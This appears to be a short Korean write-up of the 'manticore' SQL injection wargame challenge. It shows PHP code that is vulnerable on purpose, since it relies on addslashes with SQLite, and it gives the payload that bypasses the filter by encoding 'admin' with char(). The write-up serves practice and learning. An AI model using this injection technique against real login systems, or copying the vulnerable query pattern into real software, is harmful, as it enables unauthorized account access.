

<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/manticore.db");
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id'] == "admin") solve("manticore");
highlight_file(__FILE__);
?>
1.
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
🔹 $_GET[id], $_GET[pw] 파라미터 필터링
⭐ addslashes(string str)
매개변수로 넘겨준 문자열 안에 작은 따옴표('), 큰 따옴표("), 백슬래시(\), NULL가 포함되어 있다면 해당 문자 앞에 백슬래시(\)를 추가 해주는 함수
id=\&pw=or 1=1 -- -
succubus 문제와 비슷해서 한번 출력해봤더니 그대로 출력은 된다.
id=' or id=char(97,100,109,105,110)-- -
admin을 char로 바꿔서 풀었다. (green_dragon 풀이를 참고했다.)